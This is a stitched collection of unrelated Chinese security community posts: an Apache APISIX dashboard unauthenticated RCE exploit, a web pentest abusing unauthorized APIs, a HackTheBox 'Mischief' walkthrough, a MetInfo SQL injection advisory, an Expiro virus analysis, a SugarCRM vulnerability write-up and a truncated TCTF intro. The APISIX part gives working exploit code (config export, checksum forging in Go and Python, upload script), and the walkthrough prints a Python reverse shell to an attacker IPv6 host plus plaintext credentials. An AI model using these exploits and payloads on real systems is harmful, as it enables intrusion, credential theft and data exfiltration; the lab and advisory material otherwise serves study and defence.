{"uris":["/rce1"],"methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"rce1","status":1,"labels":{},
"script": "os.execute('touch /tmp/yyztest')",
"upstream_id":"387837637639013058"}
**最后访问apisix**
http://192.168.1.129:9080/rce1
再跑到你docker里面看看是否命令执行成功：
### 为什么会RCE
属于是特性了，apisix再转发过程中允许用户自定义lua脚本
详见[官方文档](https://apisix.apache.org/docs/apisix/architecture-design/script)
## 未授权RCE
### 原理
前面说了下面两个api可以未授权访问
/apisix/admin/migrate/export
/apisix/admin/migrate/import
其实这两个大家访问的时候也就知道了，一个是导出配置文件，一个是导入配置文件。
> 注意，导出配置的时候注意看后面有4个字节为配置文件的checksum值，后面会用到
并且配置文件里面存放的是`Counsumers`, `Routes`, `Upstreams`, `Services`, `SSLs`,
`Scripts`, `GlobalPlugins`, `PluginConfigs`。
这就导致每个人都可以操控你的Route，然后再用上面的特性即可RCE
### 过程
导出别人的配置，好攻击后恢复：
GET /apisix/admin/migrate/export HTTP/1.1
Host: 192.168.1.129:9000
Connection: keep-alive
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
在他的Route里面加上script字段，内容是你想执行的命令，注意里面好像有两个地方涉及到你的命令
{"Counsumers":[],"Routes":[{"id":"387929469693723331","create_time":1640755547,"update_time":1640755547,"uris":["/rce1"],"name":"rce1","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('touch /tmp/yyztest22')","script_id":"387929469693723331","upstream_id":"387928730657358531","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"387928730657358531","create_time":1640753141,"update_time":1640755547,"nodes":[{"host":"192.168.1.129","port":3000,"weight":1}],"retries":2,"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"node","name":"rce1"}],"Scripts":[{"id":"387929469693723331","script":"os.execute('touch /tmp/yyztest22')"}],"GlobalPlugins":[],"PluginConfigs":[]}
使用他checksum的流程重新计算出新的checksum值
> 当然是直接翻他的源码即可，位置大概在：`apisix-dashboard-> master\api\internal\handler\migrate\migrate.go` 函数`ExportConfig`
抽离出来以下go代码：
package main
import (
"encoding/binary"
"fmt"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
gen()
}
func gen() {
data := []byte(`{"Counsumers":[],"Routes":[{"id":"387929469693723331","create_time":1640755437,"update_time":1640755437,"uris":["/rce1"],"name":"rce1","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('touch /tmp/yyztest22')","script_id":"387929469693723331","upstream_id":"387928730657358531","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"387928730657358531","create_time":1640753141,"update_time":1640755437,"nodes":[{"host":"192.168.1.129","port":3000,"weight":1}],"retries":2,"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"node","name":"rce1"},{"id":"387837637639013058","create_time":1640755313,"update_time":1640755313,"nodes":[{"host":"127.0.0.1","port":7080,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"rce1"}],"Scripts":[{"id":"387929469693723331","script":"os.execute('touch /tmp/yyztest22')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksumLength := 4
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
content := fileBytes
fmt.Println(content)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
fmt.Println(checksum2)
fmt.Println(crc32.ChecksumIEEE(importData))
fmt.Println("Check sum check fail, maybe file broken")
return
}
err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
if err != nil {
fmt.Println("error!!")
return
}
}
最后目录下生成一个apisixPayload文件，这个文件就是我们要import上去的新的配置文件，使用python代码可以简单的传到服务端
import requests
url = "http://192.168.1.129:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)
接下来访问路由地址即可命令执行成功。
http://192.168.1.129:9080/rce1
最后的最后记得把别人之前的配置文件还原。
> 大家也可以看到这个RCE是无回显的
### 分析
对比一下2.10.0和2.10.1文件差异可以得到下面的结论
新版在`api\internal\filter\authentication.go`新增Authentication()函数
并在`api\internal\route.go`第60行使用他来做鉴权工作
所以漏洞的根本原因还是鉴权工作没做到位。
# 拓展
* 使用python简单的复刻checksum过程，方便大家集成到poc里
import zlib
data = b"""{"Counsumers":[],"Routes":[{"id":"387929469693723331","create_time":1640755437,"update_time":1640755437,"uris":["/rce1"],"name":"rce1","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('touch /tmp/yyztest22')","script_id":"387929469693723331","upstream_id":"387928730657358531","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"387928730657358531","create_time":1640753141,"update_time":1640755437,"nodes":[{"host":"192.168.1.129","port":3000,"weight":1}],"retries":2,"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"node","name":"rce1"},{"id":"387837637639013058","create_time":1640755313,"update_time":1640755313,"nodes":[{"host":"127.0.0.1","port":7080,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"rce1"}],"Scripts":[{"id":"387929469693723331","script":"os.execute('touch /tmp/yyztest22')"}],"GlobalPlugins":[],"PluginConfigs":[]}"""
checksumUint32 = zlib.crc32(data)
checksum = checksumUint32.to_bytes(4, 'big')
fileBytes = data + checksum
with open("importData", "wb") as f:
f.write(fileBytes)
* 探测无回显RCE
* dnslog（最佳）
* 写静态目录（暂没发现）
* 实际上在`/usr/local/apisix/conf/nginx.conf`可以发现没有配置web的静态目录
* 写css文件判断Modify时间（Linux下）（没有css文件，不适用）
* 还有一点，从docker容器可以看得出来，项目使用了:
* apache/apisix
* grafana/grafana
* bitnami/etcd
* prom/prometheus
* nginx
* apache/apisix-dashboard
* 然后最开始的漏洞是apisix-dashboard引起的，但是最后RCE是在apisix里面，不要搞混了
# 最后
如果有任何错误请师傅们指出~新人第一次发帖，多多包涵~
> **由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，文章作者不为此承担任何责任。** | 社区文章 |
# 前言
第一次写文章，有不足的地方请各位师傅指正
# 确定站点
首先通过前期的信息收集得到了站点目标
目标站点长这样，还是熟悉的登录框，此时我的思路是，爆破管理员的用户名和密码，但这里登录的方式很明显是通过手机号来登录的，也就是说还得知道管理员的手机号码才能进行爆破，难度有点大，先放弃这种方法，常规的话如果知道了管理员的用户名，还能去测一下找回密码处，是否有逻辑漏洞，因为本人信息收集能力不信，收集不到管理员的手机号码，所以爆破和找回密码这个点先放弃。
# 开始测试
上述的两个点都没法测试，此时我就可以试试目录扫描，利用目录扫描工具，看看是否有备份的源码，或者一些未授权的目录
扫描一波过后也并没有发现可利用的点，然后我就想着去找一下js里面是否有未授权的接口，直接使用F12大法来分析一波，然后这里找了半天找到了一个似乎是获取用户列表的一个接口
然后这里直接拼接访问一下
这里出现了提示，说不允许get方法进行请求，那我改成post的方法试试
看到回显的返回包，我心中窃喜，大概率是有戏的，这里提示我们的是请求参数缺失，pageIndex参数为空，那么我们可以直接构造一个pageIndex参数传过去看看
接着提示我们pageSize为空，说明之前的传参是成功的了，接下来继续构造pageSize参数，然后提示我pageSize为空，继续构造后，发包
这里成功的返回了数据，返回了一个测试的账号，那么此时我们就有了账号了，可以对该测试账号进行爆破，但我想的是，既然一个接口出现了未授权，那很大概率这个系统的所有接口基本上也都是未授权，接下来，我继续从JS里面寻找接口，找到了一个/bear-scale/mip/scaleSystemUser/getScaleSystemUserList.json 的接口，按照之前的方法构造参数请求
该接口返回了全站用户的手机号码和MD5加密的密码，密文解密为123456
发现全站用户的默认密码为123456，但可惜的是，该接口只能获取到普通用户的用户名和密码，并没有返回管理员的，于是又继续找接口，在一个接口中，成功返回了管理员的手机号码，但是没有返回加密的MD5密码，但前面已经知道了，全站的默认密码为123456，于是就试了一下成功登录
后续看了下上传接口，白名单限制太死，没法上传shell
# 结语
本次测试结束，各位师傅一定要遵纪守法，不对没有授权的站点进行测试 | 社区文章 |
靶机链接：<https://www.hackthebox.eu/home/machines/profile/145>
1、nmap -sC -sV -p- -v -Pn 10.10.10.92
第一次扫描没有扫出3366，后面尝试-p-扫描全端口扫出
扫描出22、3366（需要认证登陆）
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2、没啥线索，再尝试扫描udp端口
nmap -sU -v 10.10.10.92
扫描出snmp服务，尝试获取一些信息
Host is up (0.28s latency).
Not shown: 999 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
3、两种方式收集snmp信息
A方式通过snmpwalk
.1.3.6xxxxxxx这一串代表OID，输入特定的OID可以收集到特定的信息，例如这个收集IP地址信息，也可以去掉OID枚举所有的信息。
A：snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.92 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.185.242.143 = INTEGER: 2
222.173.190.239.0.0.0.0.2.80.86.255.254.185.141.13
B：snmp-check 10.10.10.92 -c public
[*] System information:
Host IP address : 10.10.10.92
Hostname : Mischief
Description : Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
Contact : Me <[email protected]>
Location : Sitting on the Dock of the Bay
Uptime snmp : 05:27:58.31
Uptime system : 05:27:42.34
System date : 2019-1-14 03:35:02.0
[*] Processes:
578 runnable cron /usr/sbin/CRON -f
582 running snmpd /usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
601 runnable polkitd /usr/lib/policykit-1/polkitd --no-debug
621 runnable sh /bin/sh -c /home/loki/hosted/webstart.sh
625 runnable sh /bin/sh /home/loki/hosted/webstart.sh
626 runnable python python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
5、得到2个线索
线索1：可以看到 **222.173.190.239.0.0.0.0.2.80.86.255.254.185.242.143**
这一串是IPV6十进制地址。我们转换成十六进制 **dead:beef:00:00:250:56ff:feb9:f28f**
这里还可以使用Enyx去枚举IPV6地址
git clone <https://github.com/trickster0/Enyx.git>
python enyx.py 2c public 10.10.10.92
###################################################################################
# #
# ####### ## # # # # # #
# # # # # # # # # #
# ###### # # # ## ## #
# # # # # ## # # #
# ###### # ## ## # # #
# #
# SNMP IPv6 Enumerator Tool #
# #
# Author: Thanasis Tserpelis aka Trickster0 #
# #
###################################################################################
[+] Snmpwalk found.
[+] Grabbing IPv6.
[+] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001
[+] Unique-Local -> dead:beef:0000:0000:0250:56ff:feb9:f28f
[+] Link Local -> fe80:0000:0000:0000:0250:56ff:feb9:f28f
线索2： **SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir
/home/loki/hosted/** 这一串是3366端口的进程信息，可以看到一串 **loki:godofmischiefisloki**
，可以用来登陆3366服务。
登陆后得到两个账号密码，尝试登陆ssh，并没有什么效果。
6、针对IPV6进行扫描
nmap -6 -sV dead:beef:00:00:250:56ff:feb9:f28f
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
我们可以通过 **<http://[dead:beef:00:00:250:56ff:feb9:f28f>]** 去访问ipv6的80端口
这里出现了一个登陆页面
7、我们使用之前得到的账号密码登陆一下看，发现无法登陆，尝试更换用户名登陆，root、admin、administrator。最后administrator/trickeryanddeceit登陆成功
看图提示说，密码在主目录中，是一个名为credentials文件
执行 **python --version;** 发现没有回显，但是提示是运行成功的。
再尝试一下将标准错误输出重定向到标准输出 **2 >&1**
**python --version 2 >&1;**
返回python 2.7.15
回显命令执行成功，那我们使用python弹shell吧
在kali下执行监听IPV6
nc -6nlvp 4444
在靶机命令输入框输入python socket弹shell命令
dead:beef:2::1319 这一串是kali（攻击机） ipv6的地址
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1319",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
使用python PTY生成伪终端
python -c 'import pty; pty.spawn("/bin/bash")'
8、然后在home/loki/目录下找到凭证
cat credentials
pass: lokiisthebestnorsegod
然后使用凭证内容通过ssh [email protected]登陆，密码lokiisthebestnorsegod
cat user.txt 拿到flag
9、尝试获取root.txt
在ssh登陆状态下查看历史纪录
cat ~/.bash_history
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
free -mt
ifconfig
cd /etc/
sudo su
su
exit
su root
ls -la
sudo -l
ifconfig
id
cat .bash_history
nano .bash_history
exit
loki用户不支持su操作。
尝试在kali下nc接收的www-data权限是否可以执行
su 输入密码lokipasswordmischieftrickery，这个是在历史命令看到的
这里无法通过这种办法cat root.txt ,上面说是要进行提权。但是我已经是root权限了，所以恶作剧靶机。。。。。
查找一下发现/usr/lib/gcc/x86_64-linux-gnu/7/root.txt存在flag
**find / -name root.txt**
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt | 社区文章 |
# 漏洞预警 | MetInfo最新版本爆出SQL注入漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 2018年10月初，白帽汇安全研究院监测到网络上出现了最新MetInfo的sql注入漏洞。该漏洞是由于攻击者可以绕过MetInfo的过滤sql注入恶意代码的函数，使得攻击者在前台就可以通过index.php页面的参数id进行SQL注入，并且直接获得管理员数据，接管整个CMS。
>
>
> MetInfo是中国知名的企业建站软件，在中国的活跃使用量数以万计，一旦有高危漏洞爆出，势必会影响各行各业众多网站。而且此次爆出漏洞的版本是官网在9月26日所发布的最新版，预计会在下一次补丁出来之前对所有使用该模板的网站造成不小的影响。而且据该漏洞的作者声明，此次漏洞之所以在官网补丁出来之前发布是因为作者在几个版本前就向该建站系统厂商反馈，但漏洞并未得到修复，所以公布与众，督促厂商修复。我们推测，以前的多个版本均有很大概率也存在该漏洞，预计在未来的很长一段时间，所有基于MetInfo的网站都将受到不小的安全威胁。
各行各业的网站都有使用MetInfo的痕迹
MetInfo建站系统虽然推出时间很长，但由于PHP较强的灵活性以及其他安全原因，从诞生之初就不断爆出各种高危漏洞，包括注入，任意文件读取和写入，SSRF等。而此次漏洞的爆发也意外发现了厂商较慢的漏洞修复速度，因此，在以后也许会有更多高危漏洞继续爆出。
FOFA历来的部分POC
## 概况
MetInfo企业建站系统采用了开源的PHP+Mysql架构，第一个版本于2009年发布，目前最新的版本是V6.1.2，更新于 2018年9月26
日。MetInfo是一款功能全面、使用简单的企业建站软件。用户可以在不需要任何编程的基础上，通过简单的安装和可视化编辑设置就能够在互联网搭建独立的企业网站，能够极大的降低企业建站成本。目前国内各行业网站均有MetInfo的身影。
目前FOFA系统最新数据（一年内数据）显示全球范围内共有10745个基于Metinfo搭建的网站。中国使用数量最多，共有7098台，中国香港第二，共有2028台，美国第三，共有1312台，日本第四，共有73台，中国台湾第五，共有50台。白帽汇安全研究院抽样检测发现全球存在该SQL漏洞的比例为百分之1。值得一提的是，网上还有很多基于MetInfo改造的网站也受到潜在威胁
全球范围内MetInfo建站分布情况（仅为分布情况，非漏洞影响情况）
中国地区中浙江省使用用数量最多，共有3542台；北京市第二，共有1562台，广东省第三，共有382台，河南省第四，共有322台，四川省第五，共有271台。
中国地区MetInfo建站分布情况（仅为分布情况，非漏洞影响情况）
## 危害等级
严重
## 漏洞原理
CNVD-2018-20024
漏洞原因在于文件/app/system/message/web/message.class.php中的sql语句 select * from
{$M[table][config]} where lang =’{$M[form][lang]}’ and name= ‘met_fdok’ and
columnid = {$M[form][id]}
漏洞涉及的语句
由于无单引号，所以貌似可以sql注入。但是由于 INADMIN 常量没有定义，导致 sqlinsert 函数把用户输入敏感字符通通删除掉。于是，最后利用
index.php 页面的 domessage 方法定义 INADMIN 常量，使得用户输入可以绕过sql注入过滤函数，成功进行注入。
需要绕过过滤函数
domessage函数定义常量
抽样发现外网的某台机器存在漏洞，可以得到数据库详细信息
进一步探测，发现管理员敏感数据
## 漏洞影响
目前漏洞影响版本号包括：
Metinfo 6.1.2
MetInfo 6.1.1
MetInfo 6.1.0
## 影响范围
结合FOFA系统，白帽汇安全研究院抽样检测发现全球存在CNVD-2018-20024漏洞的比例为百分之1，影响最严重的是中国。
## 漏洞POC
目前FOFA客户端平台已经更新CNVD-2018-20024检测POC。
CNVD-2018-20024 POC截图
## CNVD编号
CNVD-2018-20024
## 修复建议
1、最新补丁在官网还未发布，建议用户把有问题的功能代码删除。
2、在补丁发布之前下线网站。官网地址：<https://www.metinfo.cn/download/>
白帽汇会持续对该漏洞进行跟进。后续可以持续关注链接[https://nosec.org/home/detail/1889.html](https://nosec.org/home/detail/1705.html)。
## 参考
[1] <https://bbs.ichunqiu.com/thread-46687-1-1.html>
[2] <http://www.cnvd.org.cn>
白帽汇从事信息安全，专注于安全大数据、企业威胁情报。 | 社区文章 |
# 【病毒分析】文件感染型病毒Expiro的新变种分析
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/expiro-infects-encrypts-files-to-complicate-repair/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在九十年代末和二十世纪初，文件感染型病毒成为了一个主要的威胁。文件感染型病毒将恶意代码添加到计算机的其他文件之中，如果简单地通过删除病毒文件来实现杀毒，被感染的合法文件也会随之丢失，这样一来，杀毒工作就变得非常棘手。时至今日，一些文件感染型病毒仍然流行，而且其感染过程变得日益复杂，例如
**W32/VirRansom、W32/Sality、W32/Xpaj** 和 **Expiro**
。本文就对其中比较典型的Expiro病毒最新变种进行分析。
Expiro病毒已经存在了超过10年，在此之间，作者对它的功能特性不断进行更新。
**Expiro的特性在于，它通过将病毒附加到主机上，从而在32或64位Windows系统上实现针对可执行文件的感染。这一病毒可以用来安装浏览器恶意扩展、修改浏览器安全设置或窃取账户凭据。**
最近，我们发现了一个新的Expiro变种，它的感染方式发生了重大变化。在以前的变体中，Expiro会在入口点修改并获取代码，并在原始文件的末尾附加了病毒的payload，是一种典型的附加病毒。
但是， **新的变种更改了基址重定位表（Base Relocation Table）的大小，并对内部的地址进行加密。**
因此，我们只能在正确还原原始的基址重定位表后，才能修复被损坏的文件，不能使用常规附加病毒的修复工具。由于加密了地址，直接增加了对该病毒分析的难度，并且还需要针对这一病毒再研发相应的修复工具。
**病毒新变种分析**
Expiro旧变种感染的文件，其基址重定位表不受影响，如下图：
并且，旧的变种不会修改重定位表的内容：
**新的变种则减小了基址重定位表的大小（以红色标出）：**
而且，还会对其中的一部分进行加密：
为了在执行原始文件代码之前修复重定位，Expiro病毒首先会执行自己的恶意payload，随后，它解密重定位表，并动态重新加载所有地址，以确保原始文件能够正确运行。
**重定位表的解密过程**
解密过程涉及一个简单的XOR操作。第一步，先使用硬编码的XOR密钥对重定位表进行解密：
在解密后，将恢复原始基址重定位表的其余部分。EDI寄存器现在包含解密的重新定位数据：
第二步，使用公式Relocation_Address = NewImageBase + Offset +
VirtualAddress来计算包含重定位地址的地址。
如图所示，这里的Relocation_Address = 0x950000 + 0x354 +
0x1000，所以在0x951354中的地址应该被重新定位（存储在eax中）。
第三步，使用公式Relocation_Value = OldValue + (NewImageBase-OldImagebase)计算重定位值。
在这里，Relocation_Value = 0x01001354 + (0x00950000 –
0x01000000)，因此重定位值为0x00951354。
使用上述方法，我们就可以解密和修复Expiro感染文件的整个重定位表。此外，这还有助于我们在可执行文件的可选头部（Optional
Header）中使用正确的值来计算和替换重定位表的大小。这样一来，就能确保感染病毒的文件，在删除恶意payload后可以恢复正常运行。
**SHA-256值**
****
****f15b8fc3ca117ab38e3074adc6208666b2189259e447db8202ef85b9bbfc4537 | 社区文章 |
# 【技术分享】SugarCRM再爆漏洞！攻击者或可远程窃取客户数据
|
##### 译文声明
本文是翻译文章，文章来源：ripstech.com
原文地址：<https://blog.ripstech.com/2017/sugarcrm-security-diet-multiple-vulnerabilities/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**SugarCRM审计出多种安全问题**
**SugarCRM**
是当前比较热门的一款客户关系管理解决方案，SugarCRM目前主要有两大版本，即需要付费的商业版以及开源的社区版，目前总共有超过一百二十多个国家和地区的两百多万独立用户正在使用SugarCRM来管理敏感的客户数据。
但是就在前不久，有一名安全研究人员报告称SugarCRM的代码中存在多处安全问题，而SugarCRM的安全性问题也逐渐引起了社区里其他安全研究人员的注意。为此，SugarCRM也发布了新的版本以解决其中存在的安全问题。
我们此前曾对代码进行了人工审计，但我们还希望看看我们的自动化代码分析技术 **RIPS**
【[参考资料](https://www.ripstech.com/code-review-features/)】能给软件的安全性带来怎样的贡献。通过分析后，我们扫描出了几个非常严重的安全问题，而这些安全漏洞将允许攻击者从服务器中窃取客户数据或其他的敏感文件。
我们使用RIPS分析了开源的SugarCE版本（最新版本 **6.5.26**
，该版本与商业版本SugarCRM共享基础代码），我们在八分钟之内对总共816519行代码以及软件数据流进行了安全性分析。接下来，我们将在本文中给大家介绍其中最有意思的几个发现。需要注意的是，我们已经将相关问题上报给了厂商，并且厂商现已修复了本文所涉及到的所有安全问题（通过更新补丁实现）。
**
**
**多步PHP对象注入漏洞**
RIPS所检测到的最严重的安全漏洞存在于 **DetailView**
模块中。在绝大多数情况下，SugarCRM仅仅只会使用securexss()函数来防止攻击者绕过SQL模板常量并注入非预置的SQL语句。这个函数负责用相应的HTML实体替换掉语句中的单引号，并防止注入的发生。但是，securexss()函数并不会替换输入语句中的反斜杠字符。因此，除了利用反斜杠来绕过securexss()之外，我们还发现了之前存在的XSS问题，接下来我们一起看看这些问题将如何从SQL查询语句中体现：
modules/Emails/DetailView.php
$parent_id = $_REQUEST['parent_id'];
// cn: bug 14300 - emails_beans schema refactor - fixing query
$query="SELECT * FROM emails_beans WHERE email_id='{$focus->id}'
AND bean_id='{$parent_id}'
AND bean_module = '{$_REQUEST['parent_module']}' " ;
$res=$focus->db->query($query);
$row=$focus->db->fetchByAssoc($res);
if (!empty($row)) {
$campaign_data = $row['campaign_data'];
$macro_values = array();
if (!empty($campaign_data)) {
$macro_values = unserialize(from_html($campaign_data));
}
}
在DetailView模块中，查询语句是使用用户输入数据动态构建生成的，其中的单引号是经过了替换处理的。如果用户提供的数据并非恶意数据，那么正常构建出的SQL查询语句将如下所示。在下面这条查询语句中，单引号内的字符串将会被转译成SQL字符串：
SELECT * FROM emails_beans WHERE email_id='123' AND bean_id='abc' AND bean_module='def'
但是，如果我们在bean_id的结尾部分添加一个反斜杠字符的话，会发生什么呢？
SELECT * FROM emails_beans WHERE email_id='123' AND bean_id='abc' AND bean_module='def'
此时，第二个AND条件将会被bean_id内的字符串给过滤掉，所以bean_id内内容将会扩展到剩下的SQL语句（下一个单引号之前），因此bean_module之后的值就会变成用户可控制的值了。此时，攻击者将能够在不需要破坏之前单引号的情况下注入任意的SQL语句了，而此时SugarCRM所部属的安全防护措施也将会被绕过。([sugarcrm-sa-2017-006](https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2017-006/))
除此之外，SQL查询语句所获取到得campaign_data是经过了unserialize()函数处理过的，而这将触发一个PHP对象注入漏洞，这是一种非常严重的安全问题，我在我们之前的文章中也已经反复讨论过多次了。【[参考资料一](https://blog.ripstech.com/tags/php-object-injection/)】【[参考资料二](https://blog.ripstech.com/2017/security-flaws-in-the-php-core/)】
SELECT * FROM emails_beans WHERE email_id='123' AND bean_id='abc' AND bean_module='
UNION ALL SELECT 1,2,3,4,CHAR(76,76),6,7 FROM emails_beans LIMIT 1 -- x'
**
**
**CSRF + SQL盲注**
之前所介绍的SQL注入漏洞以及我们所报告的另一个SQL注入漏洞只能通过一个有效的用户会话进行访问。除了这两个漏洞之外，我们还发现了一个SQL盲注漏洞，这也就意味着我们不会在HTML响应页面中看到SQL响应信息或任何的错误提示。但是，攻击者可以在不需要获取任何用户凭证的情况下在后台远程利用该漏洞实施攻击，所以攻击者不用再去欺骗用户访问恶意Web页面并获取用户的合法凭证了。下面给出的是一份恶意页面演示样例：
视频地址：[https://blog.ripstech.com/videos/sugarcrmsqliblindly.webm](https://blog.ripstech.com/videos/sugarcrmsqliblindly.webm)
在我们的演示样例中，我们使用JavaScript动态加载了一张图片，并将其URL属性所指向的目标设为了SugarCRM的安装程序，而这将允许攻击者以认证用户的名义发送请求。URL属性将包含一个SQL
Payload，并向后端发送指令以延迟数据库的部分内容相应。
SQL查询的响应时间是一名攻击者必须要去区分的内容，我们也已经在我们的PoC中演示了如何从基于时间的SQL注入中提取有效信息。这里需要注意的是，信息的提取速度是可以通过[优化](https://ckean.de/thesis/bachelor.pdf)从而得到大幅度提升的。
**
**
**认证文件泄露**
成功利用SQL注入漏洞并破解了目标系统的管理员密码之后，攻击者将能够访问到存储在SugarCRM数据库中的所有客户数据。但是除了这些之外，一名经过身份认证的用户还能够做到哪些事情呢？实际上，无论是商业版或是开源版的SugarCRM，两者其实都存在文件披露漏洞，而这种漏洞将允许攻击者远程读取目标服务器中的任意文件内容。([sugarcrm-sa-2017-007](https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2017-007/))
modules/Connecors/controller.php
function action_CallRest() {
if(false === ($result = @file_get_contents($_REQUEST['url']))){
echo '';
} else {
echo $result;
}
}
请大家先看看上面给出的这段代码，其中的url参数主要是用来对数据进行过滤的，因为PHP的file_get_contents()函数中的文件名将允许攻击者检索或下载任意文件（只要文件系统允许）。当一名经过身份验证的攻击者访问了如下所示的URL地址之后，他将能够查看到/etc/passwd文件中保存的敏感内容：
/index.php?…&module=CallRest&url=/etc/passwd[object Object]
**
**
**时间轴**
2017年06月06日：报告漏洞细节
2017年06月27日：询问报告状态
2017年07月01日：厂商正在努力修复相关漏洞
2017年09月12日：厂商正式发布SugarCRM的修复版本
**
**
**总结**
这篇文章的主角就是目前十分热门的客户关系管理软件SugarCRM，我们对开源版本的SugarCRM进行了分析，虽然我们之前已经对相关源码进行了一次人工安全审计，但是我们的代码分析解决方案（RIPS）仍然检测到了几个之前没有被发现的安全问题，而这些安全问题甚至还会影响商业版本的SugarCRM。导致这些安全问题产生的根本原因主要是因为其中的全局输入过滤函数无法对不同类型的[标记文本](https://blog.ripstech.com/2016/introducing-the-rips-analysis-engine/)进行安全处理。
攻击者一旦成功利用了这些漏洞，那么他们将能够远程窃取服务器端存储的客户数据以及敏感文件。不过大家不必担心，我们已经将所有已发现的安全漏洞上报给了SugarCRM的安全团队，而且所有漏洞现已成功修复，所以请广大用户尽快将自己的SugarCRM升级至最新版本。
**
**
**参考资料**
1.<https://www.ripstech.com/code-review-features/>
2.[https://www.sugarcrm.com/about](https://www.sugarcrm.com/about)
3.<http://karmainsecurity.com/tales-of-sugarcrm-security-horrors> | 社区文章 |
# TCTF2021-1linephp 题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是刚结束的 TCTF2021 的一道 Web 题，题目难度不大，但是解题利用到的知识点非常有意思，这里给各位师傅分享一下。
## 一、题目分析
题目源码：
<?php
